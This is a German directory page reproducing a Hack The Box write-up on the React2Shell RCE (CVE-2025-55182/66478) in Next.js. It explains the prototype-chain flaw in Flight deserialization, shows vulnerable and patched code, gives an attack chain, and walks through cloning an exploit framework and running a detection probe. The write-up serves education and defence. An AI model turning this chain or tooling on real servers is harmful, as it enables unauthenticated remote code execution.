Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ReactOOPS-WriteUp — Hack The Box Writeup für die ausgelaufene Challenge ReactOOPS – Vollständige Lösung und pädagogischer Leitfaden zu CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Enthält detaillierte Schwachstellenanalyse, Ausnutzungstechniken und Team-Lernmaterialien. | Kitploit
Tools/GitHubGitHub/thestingr/reactoops-writeup
Statische AnalyseSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungRed Teaming
Payload-Entwicklung
Labs & Praxis
GitHubthestingr/reactoops-writeup

ReactOOPS-WriteUp

Hack The Box Writeup für die ausgelaufene Challenge ReactOOPS – Vollständige Lösung und pädagogischer Leitfaden zu CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Enthält detaillierte Schwachstellenanalyse, Ausnutzungstechniken und Team-Lernmaterialien.

Repository anzeigenWebseite
624vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ReactOOPS – HTB Web Challenge Writeup

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

Autor: TheStingR – Team ISP1337Hackers
Challenge: ReactOOPS (Web)
Plattform: Hack The Box
Schwierigkeit: Sehr leicht – ZURÜCKGEZOGEN
Datum gelöst: 13. Dezember 2025

Inhaltsverzeichnis

  1. Zusammenfassung
  2. Challenge-Beschreibung
  3. Schwachstellenanalyse
  4. Aufklärung & Enumeration
  5. Exploitation-Walkthrough
  6. Flag-Extraktion
  7. Technische Tiefenbohrung
  8. Abwehr & Mitigation
  9. Gelernte Lektionen

Zusammenfassung

ReactOOPS ist eine Web-Challenge, die CVE-2025-55182 / CVE-2025-66478 ausnutzt – eine kritische, nicht authentifizierte Remote-Code-Ausführung (RCE) in React Server Components und dem Next.js App Router.

Wesentliche Erkenntnisse:

  • ✅ Server: Next.js 16.0.6 mit React 19 (verwundbar)
  • ✅ Schwachstelle: Fehlende hasOwnProperty-Prüfung in der Flight-Protokoll-Deserialisierung
  • ✅ Auswirkung: Nicht authentifizierte RCE mit Root-Rechten
  • ✅ Ausnutzung: Ein einziger HTTP-POST-Request erforderlich

Challenge-Beschreibung

Ersteinschätzung

Die Challenge präsentiert eine ausgefeilte Next.js-Anwendung, die das NexusAI-Assistenteninterface bereitstellt. Die Anwendung scheint Benutzereingaben über React Server Components zu verarbeiten, doch subtile Unstimmigkeiten in der reaktiven Schicht deuten auf zugrunde liegende Schwachstellen hin.

Technologiestack

  • Framework: Next.js 16.0.6
  • React-Version: 19.x
  • Bereitstellung: Docker-Container (Next.js standalone Build)
  • Server-Port: 50183

Was macht diese Anwendung verwundbar?

Die Anwendung verwendet:

  1. React Server Components (RSC) – Server-seitiges Rendering mit Client-Kommunikation
  2. Flight-Protokoll – Serialisierungsformat für die RSC-Datenübertragung
  3. Verwundbare Abhängigkeiten – react-server-dom-webpack ohne Sicherheitspatches

Schwachstellenanalyse

CVE-2025-55182 / CVE-2025-66478 Übersicht

Was ist das Flight-Protokoll?

Das Flight-Protokoll ist das proprietäre Serialisierungsformat von React zur Übertragung von Daten zwischen Server und Client in Server-Component-Architekturen. Es verwendet Referenzen wie:

  • $1 – Referenz auf Objekt an Position 1
  • $1:path:to:value – Property-Pfad-Traversierung

Die fehlende Sicherheitsprüfung

Verwundbarer Code in Reacts ReactFlightReplyServer.js:

// Zeile ~450: getOutlinedModel Funktion
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Referenzen verarbeiten wie "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VERWUNDBARE SCHLEIFE – KEINE hasOwnProperty-ÜBERPRÜFUNG!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Erlaubt Prototyp-Ketten-Zugriff
        }
        return obj;
    }
}

Die sichere Version (wie es sein sollte):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Ungültiger Property-Zugriff');
    }
}

Warum das wichtig ist

Ohne die hasOwnProperty-Prüfung kann ein Angreifer folgendes durchlaufen:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Angriffskette

Schritt 1: Sende Referenz "$1:__proto__:then"
         │
         ├─ Zugriff auf myChunk[__proto__]
         └─ Dann Zugriff auf [then] auf dem Prototyp

Schritt 2: Erstelle gefälschtes Promise-ähnliches Objekt
         │
         └─ { then: schädlicheFunction }

Schritt 3: React führt await auf dieses Objekt aus
         │
         ├─ Ruft die .then()-Methode auf
         └─ Führt die Funktion des Angreifers aus

Schritt 4: Beliebige Code-Ausführung
         │
         └─ Code wird im Server-Kontext als Root ausgeführt

Warum keine Authentifizierungsprüfung?

Die Schwachstelle liegt vor der Next-Action-Validierung:

Request-Verarbeitungsablauf:
├─ Parse Multipart-Formulardaten
├─ Deserialisiere Flight-Protokoll  ← RCE PASSIERT HIER
│  └─ Referenzen und Objekte verarbeiten
│  └─ Keine hasOwnProperty-Prüfung!
├─ Extrahiere Next-Action-Header
├─ Validiere Action-ID         ← Dies kommt DANACH
└─ Führe Action-Handler aus

Indem der Angreifer während der Deserialisierung RCE auslöst, umgeht er alle Sicherheitsprüfungen auf Action-Ebene.


Aufklärung & Enumeration

Schritt 1: Erster Verbindungstest

# Prüfen, ob der Dienst antwortet
curl -v http://<IP>:PORT/

Erwartet: Next.js-Anwendung, die HTML mit aktiviertem RSC ausliefert.

Schritt 2: Technologie-Identifikation

Achte auf Indikatoren:

  • Response-Header mit next--Präfixen
  • HTML mit <script type="text/x-component">
  • Vorhandensein von .next-Verzeichnisartefakten
  • POST-Endpunkte ohne offensichtliche Authentifizierung

Schritt 3: Erkennung der Schwachstelle

Der zuverlässigste Indikator ist der Versuch eines Prototype-Pollution-Angriffs und die Beobachtung der Antwort:

# Zerstörungsfreies Erkennungspayload
# Sendet: ["$1:a:a"] referenziert {}
# Verwundbar: {}.a.a wirft Fehler → HTTP 500 + E{"digest"
# Gepatcht: hasOwnProperty verhindert Zugriff → kein Absturz

Exploitation-Walkthrough

Umgebung einrichten

# Navigiere zum Challenge-Verzeichnis
cd /Challenges/ReactOOPS

# Klone das react2shell-Exploit-Framework
git clone https://github.com/freeqaz/react2shell.git

# Stelle sicher, dass alle Skripte ausführbar sind
chmod +x react2shell/*.sh

Phase 1: Erkennung (zerstörungsfreier Nachweis)

Ziel: Bestätigen, dass der Server verwundbar ist, ohne Schaden zu verursachen.

cd react2shell

# Führe den Erkennungstest aus
./detect.sh http://<IP>:PORT

Was es tut:

  1. Erstellt einen Multipart-POST-Request mit dem Header Next-Action: x
  2. Sendet Payload: ["$1:a:a"] referenziert leeres Objekt {}
  3. Auf einem verwundbaren Server: JavaScript versucht, auf {}.a.a zuzugreifen
  4. Die fehlende hasOwnProperty-Prüfung verursacht einen Absturz
  5. Der Server antwortet mit HTTP 500 und einem Error Digest

Erwartete Ausgabe:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Ziel: http://<IP>:PORT

[*] HTTP-Status: 500
[!] VERWUNDBAR – Server gab 500 mit E{"digest"-Muster zurück

[*] Antwort-Body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] Dieser Server läuft eine verwundbare Version von React RSC / Next.js
Tool herunterladen